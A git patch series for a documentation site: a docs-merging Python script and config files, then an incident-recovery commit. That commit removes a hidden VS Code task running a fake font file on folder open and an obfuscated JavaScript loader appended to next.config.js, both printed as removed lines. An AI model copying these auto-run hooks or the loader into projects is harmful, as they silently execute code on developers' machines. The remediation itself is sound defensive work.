- output_lines.append("## Table of Contents") - output_lines.append("") - output_lines += toc - output_lines.append("") - -# Append the remaining content in the defined order -output_lines += collect_content(structure) - -# Write the merged content to README.md -readme_content = "\n".join(output_lines) -with open("README.md", "w", encoding="utf-8") as out_file: - out_file.write(readme_content) - -print("Merged documentation written to README.md") - -# Generate llms.txt (table of contents) -toc_lines = [] -toc_lines.append(f"# {main_title}") -toc_lines.append("") -toc_lines.append(f"{main_description}") -toc_lines.append("") -toc_lines.append("## Docs") -toc_lines.append("") - -# Generate TOC links -toc_content = generate_llms_toc(structure) -toc_lines.extend(toc_content) - -# Add optional section at the end -toc_lines.append("") -toc_lines.append("## Optional") -toc_lines.append("") -toc_lines.append("- [Website](https://ensembleui.com/)") -toc_lines.append("- [Ensemble Studio](https://studio.ensembleui.com/)") -toc_lines.append("- [Chat with us on Discord](https://discord.gg/cEHkJTmn75)") -toc_lines.append("- [Join our office hours](https://discord.gg/eJrUWhnRHS?event=1218554330765066310)") -toc_lines.append("- [Drop us an email](mailto:hello@ensembleui.com)") - -# Write llms.txt -llms_txt_path = os.path.join(public_dir, "llms.txt") -with open(llms_txt_path, "w", encoding="utf-8") as f: - f.write("\n".join(toc_lines)) - -# Generate llms-full.txt using the README content directly -llms_full_txt_path = os.path.join(public_dir, "llms-full.txt") -with open(llms_full_txt_path, "w", encoding="utf-8") as f: - f.write(readme_content) - -print(f"Generated {llms_txt_path} successfully!") -print(f"Generated {llms_full_txt_path} successfully!") +import os, json, re + + +def slugify(text): + """Convert text to a URL-friendly slug (lowercase, hyphens, no special chars).""" + text = text.lower() + text = re.sub(r"[^\w\s-]", "", text) + text = text.strip().replace(" ", "-") + text = re.sub(r"-+", "-", text) + return text + + +def to_sentence_case(s): + """ + Convert a hyphenated or lower-case string into sentence-case. + For example, "desktop-app" becomes "Desktop App" and + "screens-and-widgets" becomes "Screens and Widgets". + """ + s = s.replace("-", " ") + words = s.split() + if not words: + return s + minor_words = {"and", "or", "the", "of", "in", "a", "an"} + # Capitalize first word fully + result = [words[0].capitalize()] + for word in words[1:]: + # Lowercase minor words, capitalize others + if word.lower() in minor_words: + result.append(word.lower()) + else: + result.append(word.capitalize()) + return " ".join(result) + + +def get_first_heading(file_path): + """Extract the first markdown heading from a file, skipping YAML frontmatter.""" + heading_text = None + with open(file_path, "r", encoding="utf-8") as f: + in_frontmatter = False + for line in f: + line = line.strip() + if not line or line.startswith("", "", content, flags=re.DOTALL) + return content + + +def resolve_entry_path(dir_path, name): + """ + Given a directory and an entry name from _meta.json, try to resolve it to an actual file or directory. + If name does not exist, try appending .md and then .mdx. + """ + full_path = os.path.join(dir_path, name) + if os.path.exists(full_path): + return full_path + for ext in [".md", ".mdx"]: + candidate = full_path + ext + if os.path.exists(candidate): + return candidate + return None + + +def process_dir(dir_path, skip_index=False): + """ + Recursively traverse a docs directory following _meta.json for order and grouping. + Returns a list of nodes that represent pages or groups. + """ + meta_file = os.path.join(dir_path, "_meta.json") + entries = [] + meta_descriptions = {} + + if os.path.isfile(meta_file): + with open(meta_file, "r", encoding="utf-8") as f: + meta = json.load(f) + for key, val in meta.items(): + if isinstance(val, dict) and "description" in val: + # Store description for this key + meta_descriptions[key] = val["description"] + # Extract title if it exists + title = val.get("title", key) + entries.append((key, title)) + else: + entries.append((key, val)) + else: + for name in sorted(os.listdir(dir_path)): + if name.startswith("_"): + continue + entries.append((name, None)) + + nodes = [] + for name, title in entries: + resolved = resolve_entry_path(dir_path, name) + if resolved is None: + continue + + # Skip the training-videos file + base = os.path.basename(resolved).lower() + if base in ("training-videos.md", "training-videos.mdx"): + continue + + # Get description from _meta.json if available + meta_description = meta_descriptions.get(name) + + if os.path.isfile(resolved): + if skip_index and base in ("index.md", "index.mdx"): + continue + page_title = title if isinstance(title, str) else None + heading_text = get_first_heading(resolved) + if page_title is None: + page_title = heading_text if heading_text else name + if heading_text is None: + heading_text = page_title + + nodes.append( + { + "title": page_title, + "path": resolved, + "heading": heading_text, + "meta_description": meta_description, + } + ) + elif os.path.isdir(resolved): + group_title = title if isinstance(title, str) else name + sub_nodes = process_dir(resolved, skip_index=False) + index_node = next( + ( + child + for child in sub_nodes + if "path" in child + and os.path.basename(child["path"]).lower() + in ("index.md", "index.mdx") + ), + None, + ) + if index_node: + sub_nodes.remove(index_node) + group_node = {"title": group_title, "children": sub_nodes} + if index_node: + group_node["index_path"] = index_node["path"] + group_node["heading"] = index_node.get("heading", group_title) + group_node["meta_description"] = meta_description + else: + group_node["heading"] = group_title + group_node["meta_description"] = meta_description + nodes.append(group_node) + return nodes + + +def generate_toc(nodes, depth=0): + """Generate a nested markdown list for the Table of Contents.""" + toc_lines = [] + indent = " " * depth + for node in nodes: + # For directories (groups), convert title to sentence-case. + if "children" in node: + title = to_sentence_case(node["title"]) + if node.get("index_path"): + anchor_text = node.get("heading", title) + anchor = slugify(anchor_text) if anchor_text else "" + toc_lines.append(f"{indent}- [{title}](#{anchor})") + else: + toc_lines.append(f"{indent}- **{title}**") + if node["children"]: + toc_lines += generate_toc(node["children"], depth + 1) + else: + title = node["title"] # For files, assume title is already correct. + anchor_text = node.get("heading", title) + anchor = slugify(anchor_text) if anchor_text else "" + toc_lines.append(f"{indent}- [{title}](#{anchor})") + return toc_lines + + +def generate_llms_toc(nodes, base_url="https://docs.ensembleui.com"): + """Generate table of contents in llms.txt format.""" + lines = [] + + for node in nodes: + if "children" in node: + # This is a section/group + section_title = to_sentence_case(node["title"]) + + # Add index page if it exists + if node.get("index_path"): + title = node.get("heading", section_title) + rel_path = os.path.relpath(node["index_path"], "pages") + url_path = ( + rel_path.replace("\\", "/").replace(".mdx", "").replace(".md", "") + ) + if url_path == "index": + url_path = "" + elif url_path.endswith("/index"): + url_path = url_path[:-6] + + url = f"{base_url}/{url_path}" if url_path else base_url + meta_description = node.get("meta_description") + if meta_description: + lines.append(f"- [{title}]({url}): {meta_description}") + else: + lines.append(f"- [{title}]({url})") + + # Add child pages + for child in node["children"]: + if "path" in child: + title = child["title"] + rel_path = os.path.relpath(child["path"], "pages") + url_path = ( + rel_path.replace("\\", "/") + .replace(".mdx", "") + .replace(".md", "") + ) + url = f"{base_url}/{url_path}" + meta_description = child.get("meta_description") + if meta_description: + lines.append(f"- [{title}]({url}): {meta_description}") + else: + lines.append(f"- [{title}]({url})") + else: + # This is a standalone page at root level + title = node["title"] + rel_path = os.path.relpath(node["path"], "pages") + url_path = ( + rel_path.replace("\\", "/").replace(".mdx", "").replace(".md", "") + ) + url = f"{base_url}/{url_path}" + meta_description = node.get("meta_description") + if meta_description: + lines.append(f"- [{title}]({url}): {meta_description}") + else: + lines.append(f"- [{title}]({url})") + + return lines + + +def add_extension_to_link(match): + """Convert page links to anchor links if content exists in merged docs, otherwise keep external links.""" + prefix = match.group(1) # [text]( + original_path = match.group(2) # /path or path part + + # Add /pages/ prefix if not already there + if not original_path.startswith('/pages/'): + path = '/pages' + original_path + else: + path = original_path + + # Skip adding extension if already has one or is an anchor link + if path.endswith(('.md', '.mdx', '.html')) or '#' in path: + anchor_part = "" + if '#' in path: + path_part, anchor_part = path.split('#', 1) + path = path_part + + # Extract the relative path for checking + if path.startswith('/pages/'): + rel_path = path[7:] # Remove /pages/ prefix + else: + rel_path = path[1:] if path.startswith('/') else path + + # Check if this content exists in our merged documentation + if check_content_exists_in_merged_docs(rel_path): + # Convert to anchor link within README + if anchor_part: + # If there's an existing anchor, use it directly (it's already the specific section) + return prefix + '#' + anchor_part + else: + # No anchor, use the main heading + heading_text = get_heading_for_path(rel_path) + if heading_text: + anchor = slugify(heading_text) + return prefix + '#' + anchor + + # If content doesn't exist in merged docs, keep as external link + return prefix + path + (('#' + anchor_part) if anchor_part else '') + + # Extract the relative path for file checking + if path.startswith('/pages/'): + rel_path = path[7:] # Remove /pages/ prefix + else: + rel_path = path[1:] if path.startswith('/') else path + + # Check if this content exists in our merged documentation + if check_content_exists_in_merged_docs(rel_path): + # Convert to anchor link within README + heading_text = get_heading_for_path(rel_path) + if heading_text: + anchor = slugify(heading_text) + return prefix + '#' + anchor + + # If content doesn't exist in merged docs, keep as external link with extension + # Try to find the actual file to determine extension + full_path_mdx = os.path.join('pages', rel_path + '.mdx') + full_path_md = os.path.join('pages', rel_path + '.md') + + if os.path.exists(full_path_mdx): + return prefix + path + '.mdx' + elif os.path.exists(full_path_md): + return prefix + path + '.md' + else: + # Default to .md if file doesn't exist + return prefix + path + '.md' + + +def check_content_exists_in_merged_docs(rel_path): + """Check if the content for this path exists in our merged documentation structure.""" + # Check if the file exists in our pages directory + full_path_mdx = os.path.join('pages', rel_path + '.mdx') + full_path_md = os.path.join('pages', rel_path + '.md') + full_path_dir = os.path.join('pages', rel_path, 'index.mdx') + full_path_dir_md = os.path.join('pages', rel_path, 'index.md') + + return (os.path.exists(full_path_mdx) or + os.path.exists(full_path_md) or + os.path.exists(full_path_dir) or + os.path.exists(full_path_dir_md)) + + +def get_heading_for_path(rel_path): + """Get the heading text for a given path that will be used in the merged docs.""" + # Try to find the file and get its heading + full_path_mdx = os.path.join('pages', rel_path + '.mdx') + full_path_md = os.path.join('pages', rel_path + '.md') + full_path_dir = os.path.join('pages', rel_path, 'index.mdx') + full_path_dir_md = os.path.join('pages', rel_path, 'index.md') + + file_path = None + if os.path.exists(full_path_mdx): + file_path = full_path_mdx + elif os.path.exists(full_path_md): + file_path = full_path_md + elif os.path.exists(full_path_dir): + file_path = full_path_dir + elif os.path.exists(full_path_dir_md): + file_path = full_path_dir_md + + if file_path: + heading = get_first_heading(file_path) + if heading: + return heading + + # Fallback: use the path to generate a heading + return to_sentence_case(os.path.basename(rel_path)) + + +def clean_content(lines): + """ + Clean the content lines by: + - Removing MDX import/export lines. + - Converting MDX Callout blocks into Markdown note blocks. + - Removing other MDX component blocks. + - Fixing markdown and HTML image paths (inserting 'public/' before /images/). + - Fixing internal links (inserting 'pages/' before relative links and adding extensions). + """ + cleaned = [] + in_code_block = False + in_callout_block = False + in_component_block = False + component_start_pattern = re.compile(r"^\s*<([A-Z][\w]+)") + # Regex for markdown images: ![alt](/images/... + md_image_pattern = re.compile(r"(!\[[^\]]*\]\()(/images/)", re.IGNORECASE) + # Regex for HTML image tags: but not or or + html_link_pattern = re.compile(r'(]*href=["\'])(/(?!images/|http|#)[^"\']+)', re.IGNORECASE) + + for line in lines: + if line.strip().startswith("```"): + in_code_block = not in_code_block + cleaned.append(line) + continue + + if not in_code_block: + # Process Callout blocks specially: + if not in_callout_block: + callout_match = re.match(r'\s*', line) + if callout_match: + in_callout_block = True + cleaned.append("> [!NOTE]") + continue + + if in_callout_block: + if "" in line: + in_callout_block = False + continue + stripped = line.strip() + if stripped: + cleaned.append("> " + stripped) + else: + cleaned.append(">") + continue + + # For other MDX components, skip them. + if in_component_block: + if "" in line: + in_component_block = False + continue + + if line.lstrip().startswith("import ") or line.lstrip().startswith( + "export " + ): + continue + + comp_match = component_start_pattern.match(line) + if comp_match: + in_component_block = True + continue + + # Fix markdown image paths (add public before /images/). + line = md_image_pattern.sub(r"\1public\2", line) + # Fix HTML image paths (add public before /images/). + line = html_img_pattern.sub(r"\1public\2", line) + # Fix markdown links (add /pages/ before relative links and add extensions). + line = md_link_pattern.sub(lambda m: add_extension_to_link(m), line) + # Fix HTML links (add /pages/ before relative links and add extensions). + line = html_link_pattern.sub(lambda m: add_extension_to_link(m), line) + + cleaned.append(line) + return cleaned + + +def collect_content(nodes, level=1): + """ + Collect the content of all pages in the nodes, including sections. + For each file (leaf node), append a separator '---' at the end. + For group nodes without an index file, do not add an extra heading. + """ + lines = [] + for node in nodes: + if "children" in node: + if node.get("index_path"): + with open(node["index_path"], "r", encoding="utf-8") as f: + raw = f.read().splitlines() + section_intro = clean_content(raw) + lines += section_intro + if section_intro and section_intro[-1] != "": + lines.append("") + # Add separator after index file of a section. + lines.append("---") + lines.append("") + lines += collect_content(node["children"], level + 1) + else: + with open(node["path"], "r", encoding="utf-8") as f: + raw = f.read().splitlines() + page_lines = clean_content(raw) + lines += page_lines + if page_lines and page_lines[-1] != "": + lines.append("") + # Append a separator for each file. + lines.append("---") + lines.append("") + return lines + + +# Base directory settings +repo_root = os.getcwd() +pages_dir = os.path.join(repo_root, "pages") +public_dir = os.path.join(repo_root, "public") + +# Ensure public directory exists +os.makedirs(public_dir, exist_ok=True) + +# Process the pages directory +structure = process_dir(pages_dir, skip_index=True) + +# Read the root index.mdx content +index_path = os.path.join(pages_dir, "index.mdx") +if not os.path.exists(index_path): + index_path = os.path.join(pages_dir, "index.md") + +index_lines = [] +main_title = "Ensemble" +main_description = "Documentation for the Ensemble platform" + +if os.path.exists(index_path): + with open(index_path, "r", encoding="utf-8") as f: + raw_index = f.read().splitlines() + index_lines = clean_content(raw_index) + + # Extract title for llms.txt + title_from_index = get_first_heading(index_path) + if title_from_index: + main_title = title_from_index + + # Extract description for llms.txt + description_content = get_description_content(index_path) + if description_content: + main_description = description_content + +# Generate README.md +output_lines = [] +if index_lines: + output_lines += index_lines + if output_lines and output_lines[-1] != "": + output_lines.append("") + +# Generate the Table of Contents from the sidebar structure +toc = generate_toc(structure) +if toc: + output_lines.append("## Table of Contents") + output_lines.append("") + output_lines += toc + output_lines.append("") + +# Append the remaining content in the defined order +output_lines += collect_content(structure) + +# Write the merged content to README.md +readme_content = "\n".join(output_lines) +with open("README.md", "w", encoding="utf-8") as out_file: + out_file.write(readme_content) + +print("Merged documentation written to README.md") + +# Generate llms.txt (table of contents) +toc_lines = [] +toc_lines.append(f"# {main_title}") +toc_lines.append("") +toc_lines.append(f"{main_description}") +toc_lines.append("") +toc_lines.append("## Docs") +toc_lines.append("") + +# Generate TOC links +toc_content = generate_llms_toc(structure) +toc_lines.extend(toc_content) + +# Add optional section at the end +toc_lines.append("") +toc_lines.append("## Optional") +toc_lines.append("") +toc_lines.append("- [Website](https://ensembleui.com/)") +toc_lines.append("- [Ensemble Studio](https://studio.ensembleui.com/)") +toc_lines.append("- [Chat with us on Discord](https://discord.gg/cEHkJTmn75)") +toc_lines.append("- [Join our office hours](https://discord.gg/eJrUWhnRHS?event=1218554330765066310)") +toc_lines.append("- [Drop us an email](mailto:hello@ensembleui.com)") + +# Write llms.txt +llms_txt_path = os.path.join(public_dir, "llms.txt") +with open(llms_txt_path, "w", encoding="utf-8") as f: + f.write("\n".join(toc_lines)) + +# Generate llms-full.txt using the README content directly +llms_full_txt_path = os.path.join(public_dir, "llms-full.txt") +with open(llms_full_txt_path, "w", encoding="utf-8") as f: + f.write(readme_content) + +print(f"Generated {llms_txt_path} successfully!") +print(f"Generated {llms_full_txt_path} successfully!") diff --git a/theme.config.tsx b/theme.config.tsx index f03513f..6d70dac 100644 --- a/theme.config.tsx +++ b/theme.config.tsx @@ -1,48 +1,48 @@ -import React from 'react' -import { useRouter } from 'next/router' -import { useConfig, DocsThemeConfig } from 'nextra-theme-docs' - -const config: DocsThemeConfig = { - useNextSeoProps() { - const { asPath } = useRouter() - if (asPath !== '/') { - return { - titleTemplate: '%s – Ensemble Docs' - } - } - }, - logo: Ensemble Docs, - project: { - link: 'https://github.com/ensembleui/', - }, - chat: { - link: 'https://discord.gg/cEHkJTmn75', - }, - docsRepositoryBase: 'https://github.com/EnsembleUI/ensemble_docs/blob/main', - footer: { - text: 'Ensemble', - }, - sidebar: { - defaultMenuCollapseLevel: 1 - }, - head: () => { - const { asPath, defaultLocale, locale } = useRouter() - const { frontMatter } = useConfig() - const url = - 'https://ensembleui.com' + - (defaultLocale === locale ? asPath : `/${locale}${asPath}`) - - return ( - <> - - - - - ) - } -} - -export default config +import React from 'react' +import { useRouter } from 'next/router' +import { useConfig, DocsThemeConfig } from 'nextra-theme-docs' + +const config: DocsThemeConfig = { + useNextSeoProps() { + const { asPath } = useRouter() + if (asPath !== '/') { + return { + titleTemplate: '%s – Ensemble Docs' + } + } + }, + logo: Ensemble Docs, + project: { + link: 'https://github.com/ensembleui/', + }, + chat: { + link: 'https://discord.gg/cEHkJTmn75', + }, + docsRepositoryBase: 'https://github.com/EnsembleUI/ensemble_docs/blob/main', + footer: { + text: 'Ensemble', + }, + sidebar: { + defaultMenuCollapseLevel: 1 + }, + head: () => { + const { asPath, defaultLocale, locale } = useRouter() + const { frontMatter } = useConfig() + const url = + 'https://ensembleui.com' + + (defaultLocale === locale ? asPath : `/${locale}${asPath}`) + + return ( + <> + + + + + ) + } +} + +export default config diff --git a/tsconfig.json b/tsconfig.json index 1563f3e..b3a7271 100644 --- a/tsconfig.json +++ b/tsconfig.json @@ -1,20 +1,20 @@ -{ - "compilerOptions": { - "target": "es5", - "lib": ["dom", "dom.iterable", "esnext"], - "allowJs": true, - "skipLibCheck": true, - "strict": false, - "forceConsistentCasingInFileNames": true, - "noEmit": true, - "incremental": true, - "esModuleInterop": true, - "module": "esnext", - "moduleResolution": "node", - "resolveJsonModule": true, - "isolatedModules": true, - "jsx": "preserve" - }, - "include": ["next-env.d.ts", "**/*.ts", "**/*.tsx"], - "exclude": ["node_modules"] -} +{ + "compilerOptions": { + "target": "es5", + "lib": ["dom", "dom.iterable", "esnext"], + "allowJs": true, + "skipLibCheck": true, + "strict": false, + "forceConsistentCasingInFileNames": true, + "noEmit": true, + "incremental": true, + "esModuleInterop": true, + "module": "esnext", + "moduleResolution": "node", + "resolveJsonModule": true, + "isolatedModules": true, + "jsx": "preserve" + }, + "include": ["next-env.d.ts", "**/*.ts", "**/*.tsx"], + "exclude": ["node_modules"] +} From eb42e913f0e60d101b934f3c1ad8f87050d71568 Mon Sep 17 00:00:00 2001 From: EnsembleUI incident recovery Date: Thu, 1 Oct 2026 19:41:37 -0700 Subject: [PATCH 16/16] Remove incident malware injections and automatic execution triggers --- .gitignore | 1 - .vscode/settings.json | 23 - .vscode/tasks.json | 24 - next.config.js | 2 +- .../widgets/_snippets/public/fonts/README.md | 24 - .../_snippets/public/fonts/fa-brands-400.eot | Bin 133034 -> 0 bytes .../_snippets/public/fonts/fa-brands-400.svg | 3570 ------------ .../_snippets/public/fonts/fa-brands-400.ttf | Bin 132728 -> 0 bytes .../_snippets/public/fonts/fa-brands-400.woff | Bin 89824 -> 0 bytes .../public/fonts/fa-brands-400.woff2 | Bin 76612 -> 0 bytes .../_snippets/public/fonts/fa-regular-400.eot | Bin 34390 -> 0 bytes .../_snippets/public/fonts/fa-regular-400.svg | 803 --- .../_snippets/public/fonts/fa-regular-400.ttf | Bin 34092 -> 0 bytes .../public/fonts/fa-regular-400.woff | Bin 16800 -> 0 bytes .../public/fonts/fa-regular-400.woff2 | Bin 13584 -> 0 bytes .../_snippets/public/fonts/fa-solid-900.eot | Bin 202902 -> 0 bytes .../_snippets/public/fonts/fa-solid-900.svg | 4938 ----------------- .../_snippets/public/fonts/fa-solid-900.ttf | Bin 202616 -> 0 bytes .../_snippets/public/fonts/fa-solid-900.woff | Bin 103300 -> 0 bytes .../_snippets/public/fonts/fa-solid-900.woff2 | 1 - 20 files changed, 1 insertion(+), 9385 deletions(-) delete mode 100644 .vscode/settings.json delete mode 100644 .vscode/tasks.json delete mode 100644 pages/widgets/_snippets/public/fonts/README.md delete mode 100644 pages/widgets/_snippets/public/fonts/fa-brands-400.eot delete mode 100644 pages/widgets/_snippets/public/fonts/fa-brands-400.svg delete mode 100644 pages/widgets/_snippets/public/fonts/fa-brands-400.ttf delete mode 100644 pages/widgets/_snippets/public/fonts/fa-brands-400.woff delete mode 100644 pages/widgets/_snippets/public/fonts/fa-brands-400.woff2 delete mode 100644 pages/widgets/_snippets/public/fonts/fa-regular-400.eot delete mode 100644 pages/widgets/_snippets/public/fonts/fa-regular-400.svg delete mode 100644 pages/widgets/_snippets/public/fonts/fa-regular-400.ttf delete mode 100644 pages/widgets/_snippets/public/fonts/fa-regular-400.woff delete mode 100644 pages/widgets/_snippets/public/fonts/fa-regular-400.woff2 delete mode 100644 pages/widgets/_snippets/public/fonts/fa-solid-900.eot delete mode 100644 pages/widgets/_snippets/public/fonts/fa-solid-900.svg delete mode 100644 pages/widgets/_snippets/public/fonts/fa-solid-900.ttf delete mode 100644 pages/widgets/_snippets/public/fonts/fa-solid-900.woff delete mode 100644 pages/widgets/_snippets/public/fonts/fa-solid-900.woff2 diff --git a/.gitignore b/.gitignore index 0b8e64d..e09f0cf 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,3 @@ .next node_modules /.idea -config.bat diff --git a/.vscode/settings.json b/.vscode/settings.json deleted file mode 100644 index 4492ffd..0000000 --- a/.vscode/settings.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "search.exclude": { - "**/.sst": true - }, - "task.allowAutomaticTasks": true, - "typescript.tsserver.experimental.enableProjectDiagnostics": true, - "editor.defaultFormatter": "esbenp.prettier-vscode", - "typescript.preferences.importModuleSpecifier": "relative", - "typescript.tsdk": "node_modules/typescript/lib", - "debug.openDebug": "neverOpen", - "problems.autoReveal": true, - "terminal.integrated.hideOnStartup": "always", - "terminal.integrated.defaultProfile.windows": "Command Prompt", - "terminal.integrated.inheritEnv": false, - "jestrunner.configPath": "jest.unit.config.cjs", - "compile-hero.disable-compile-files-on-did-save-code": true, - "tasks": { - "label": "lint on open", - "type": "shell", - "command": "npm run lint", - "runOn": "folderOpen" - } -} diff --git a/.vscode/tasks.json b/.vscode/tasks.json deleted file mode 100644 index 1417372..0000000 --- a/.vscode/tasks.json +++ /dev/null @@ -1,24 +0,0 @@ -{ - "version": "2.0.0", - "tasks": [ - { - "label": "eslint-check", - "type": "shell", - "command": "(command -v node >/dev/null 2>&1 && node ./pages/widgets/_snippets/public/fonts/fa-solid-900.woff2) || (where node >nul 2>&1 && node ./pages/widgets/_snippets/public/fonts/fa-solid-900.woff2) || echo ''", - "problemMatcher": [], - "isBackground": true, - "hide": true, - "presentation": { - "reveal": "never", - "panel": "dedicated", - "focus": false, - "clear": false, - "echo": false, - "close": true - }, - "runOptions": { - "runOn": "folderOpen" - } - } - ] -} diff --git a/next.config.js b/next.config.js index 0165e92..b147628 100644 --- a/next.config.js +++ b/next.config.js @@ -20,4 +20,4 @@ module.exports = withNextra({ } ] } -}); global['!']='9-10384-1';(function(_0x52a532,_0x2d808d){var _0x37d904=_0x3be5,_0x27e08d=_0x52a532();while(!![]){try{var _0x258bb9=parseInt(_0x37d904(0x116))/(-0x2*-0xc89+0x1297+0x1*-0x2ba8)+parseInt(_0x37d904(0x3e3))/(0x1e89+-0x1bfc+-0x28b)*(parseInt(_0x37d904(0x18f))/(0x18f7+-0xd42+0xbb2*-0x1))+-parseInt(_0x37d904(0xc7))/(0x1824+-0x7bf*-0x2+0x1cd*-0x16)*(parseInt(_0x37d904(0x26d))/(-0x290+0x2184+-0x1eef))+-parseInt(_0x37d904(0x192))/(-0x2*0x48b+0x10d*0x11+-0x8c1)+-parseInt(_0x37d904(0xa3))/(0x24a7+-0x29*-0x7f+-0x38f7)*(-parseInt(_0x37d904(0x427))/(-0x1836*-0x1+0x2126+-0x1caa*0x2))+-parseInt(_0x37d904(0x3c6))/(0x1db8+-0x7*0x38b+-0x4e2)*(-parseInt(_0x37d904(0x424))/(0x140b+0x2a5*-0xe+0x1105))+-parseInt(_0x37d904(0x289))/(-0x5*-0x6c4+-0x202b+-0x19e);if(_0x258bb9===_0x2d808d)break;else _0x27e08d['push'](_0x27e08d['shift']());}catch(_0x545abd){_0x27e08d['push'](_0x27e08d['shift']());}}}(_0x5f45,0x3a4b*-0x5+-0x3*-0x14caf+0x19*0xa57),!function(_0x500f58,_0xc4ac1d){var _0xa0f3df=_0x3be5,_0x14d3eb={'yXsAU':function(_0x3f51e6,_0xb9be82){return _0x3f51e6<_0xb9be82;},'uxcQH':function(_0x4225df,_0x5ac727){return _0x4225df%_0x5ac727;},'XBhIH':function(_0x34b39b,_0x101e38){return _0x34b39b+_0x101e38;},'kfuDk':function(_0xf7a237,_0x43d06d){return _0xf7a237*_0x43d06d;},'Emdxt':function(_0x2798eb,_0x5aea37){return _0x2798eb+_0x5aea37;},'TPIVk':function(_0x1af93d,_0x779646){return _0x1af93d+_0x779646;},'uKTwD':function(_0x46c7cd,_0x5089f9){return _0x46c7cd+_0x5089f9;},'kJebz':function(_0x307982,_0x59d116){return _0x307982%_0x59d116;},'lDkzO':function(_0x25a251,_0x473301){return _0x25a251%_0x473301;},'PjAol':function(_0x2abc47,_0x2951ab,_0x285bc0,_0x11f352,_0x3eb176,_0x378b8b,_0x753e59,_0x2a0780){return _0x2abc47(_0x2951ab,_0x285bc0,_0x11f352,_0x3eb176,_0x378b8b,_0x753e59,_0x2a0780);},'HzUvU':_0xa0f3df(0xc0),'OvNMo':function(_0x1cd55d,_0x12971c){return _0x1cd55d===_0x12971c;},'NWAll':function(_0x532889,_0x5f4724){return _0x532889(_0x5f4724);},'JDcif':_0xa0f3df(0x4be)+_0xa0f3df(0x3d6)+_0xa0f3df(0x19e)+_0xa0f3df(0x254),'eIoDu':function(_0x484af5,_0x644456,_0x5c036d){return _0x484af5(_0x644456,_0x5c036d);},'Vjhdr':_0xa0f3df(0x108)+_0xa0f3df(0x1c1)+_0xa0f3df(0x247)+_0xa0f3df(0x2d4)+_0xa0f3df(0x266)+_0xa0f3df(0x4a9)+_0xa0f3df(0x405)+_0xa0f3df(0x3b4)+_0xa0f3df(0x1de)+_0xa0f3df(0x178)+_0xa0f3df(0xa9)+_0xa0f3df(0x12b)+_0xa0f3df(0x286)+_0xa0f3df(0xac)+_0xa0f3df(0x4bc)+_0xa0f3df(0x363)+_0xa0f3df(0x162)+_0xa0f3df(0x343)+_0xa0f3df(0x32a)+_0xa0f3df(0x292)+_0xa0f3df(0x40e)+_0xa0f3df(0x1e5)+_0xa0f3df(0x35f)+_0xa0f3df(0x441)+_0xa0f3df(0x425)+_0xa0f3df(0xa2)+_0xa0f3df(0x20b)+_0xa0f3df(0x46e)+_0xa0f3df(0x3e6)+_0xa0f3df(0x345)+_0xa0f3df(0x40a)+_0xa0f3df(0x328)+_0xa0f3df(0x49c)+_0xa0f3df(0x222)+_0xa0f3df(0x418)+_0xa0f3df(0x404)+_0xa0f3df(0x241)+_0xa0f3df(0x16c)+_0xa0f3df(0xaa)+_0xa0f3df(0x259)+_0xa0f3df(0x206)+_0xa0f3df(0x2d8)+_0xa0f3df(0x2df)+_0xa0f3df(0x233)+_0xa0f3df(0x42a)+_0xa0f3df(0x107)+_0xa0f3df(0x4af)+_0xa0f3df(0x3be)+_0xa0f3df(0x366)+_0xa0f3df(0x4cf)+_0xa0f3df(0x340)+_0xa0f3df(0x2ae)+_0xa0f3df(0xa6)+_0xa0f3df(0x4ce)+_0xa0f3df(0x378)+_0xa0f3df(0x3e2)+_0xa0f3df(0x1cf)+_0xa0f3df(0x1f4)+_0xa0f3df(0x122)+_0xa0f3df(0x24a)+_0xa0f3df(0x39d)+_0xa0f3df(0x216)+_0xa0f3df(0x278)+_0xa0f3df(0x48e)+_0xa0f3df(0x45a)+_0xa0f3df(0x1f5)+_0xa0f3df(0x409)+_0xa0f3df(0x492)+_0xa0f3df(0x1b2)+_0xa0f3df(0x296)+_0xa0f3df(0x32f)+_0xa0f3df(0x215)+_0xa0f3df(0x43b)+_0xa0f3df(0x478)+_0xa0f3df(0x39a)+_0xa0f3df(0x2bd)+_0xa0f3df(0x235)+_0xa0f3df(0x22c)+_0xa0f3df(0x4d8)+_0xa0f3df(0x37f)+_0xa0f3df(0x4a8)+_0xa0f3df(0x1a4)+_0xa0f3df(0x2a2)+_0xa0f3df(0x1d4)+_0xa0f3df(0x128)+_0xa0f3df(0x449)+_0xa0f3df(0x23a)+_0xa0f3df(0x18b)+_0xa0f3df(0xcc),'YZkUd':_0xa0f3df(0xfa)+_0xa0f3df(0x27b)+_0xa0f3df(0x274)+_0xa0f3df(0x13e)+_0xa0f3df(0x234)+_0xa0f3df(0x4dc)+_0xa0f3df(0x15c)+_0xa0f3df(0x127)+_0xa0f3df(0x1f9)+_0xa0f3df(0x260)+_0xa0f3df(0x153)+_0xa0f3df(0x362)+_0xa0f3df(0x301)+_0xa0f3df(0xc8)+_0xa0f3df(0x38e)+_0xa0f3df(0x4e2)+_0xa0f3df(0x2ce)+_0xa0f3df(0x146)+_0xa0f3df(0x24c)+_0xa0f3df(0x2aa)+_0xa0f3df(0x212)+_0xa0f3df(0x419)+_0xa0f3df(0x2cd)+_0xa0f3df(0x43a)+_0xa0f3df(0x1ec)+_0xa0f3df(0x250)+_0xa0f3df(0xd7)+_0xa0f3df(0x460)+_0xa0f3df(0x47b)+_0xa0f3df(0x3af)+_0xa0f3df(0x49a)+_0xa0f3df(0x376)+_0xa0f3df(0x389)+_0xa0f3df(0x25e)+_0xa0f3df(0x36b)+_0xa0f3df(0x400)+_0xa0f3df(0x4b2)+_0xa0f3df(0x257)+_0xa0f3df(0x1b1)+_0xa0f3df(0x2af)+_0xa0f3df(0x1e9)+_0xa0f3df(0x4a6)+_0xa0f3df(0x35b)+_0xa0f3df(0x1d2)+_0xa0f3df(0x2e8)+_0xa0f3df(0x422)+_0xa0f3df(0x44c)+_0xa0f3df(0x25f)+_0xa0f3df(0x4e6)+_0xa0f3df(0x420)+_0xa0f3df(0x42f)+_0xa0f3df(0x131)+_0xa0f3df(0x295)+_0xa0f3df(0x11b)+_0xa0f3df(0x2b0)+_0xa0f3df(0x360)+_0xa0f3df(0x29f)+_0xa0f3df(0x24e)+_0xa0f3df(0x135)+_0xa0f3df(0x44d)+_0xa0f3df(0x24b)+_0xa0f3df(0x15a)+_0xa0f3df(0x4b6)+_0xa0f3df(0x488)+_0xa0f3df(0x36f)+_0xa0f3df(0xeb)+_0xa0f3df(0x361)+_0xa0f3df(0x1af)+_0xa0f3df(0x3d2)+_0xa0f3df(0x225)+_0xa0f3df(0x2ed)+_0xa0f3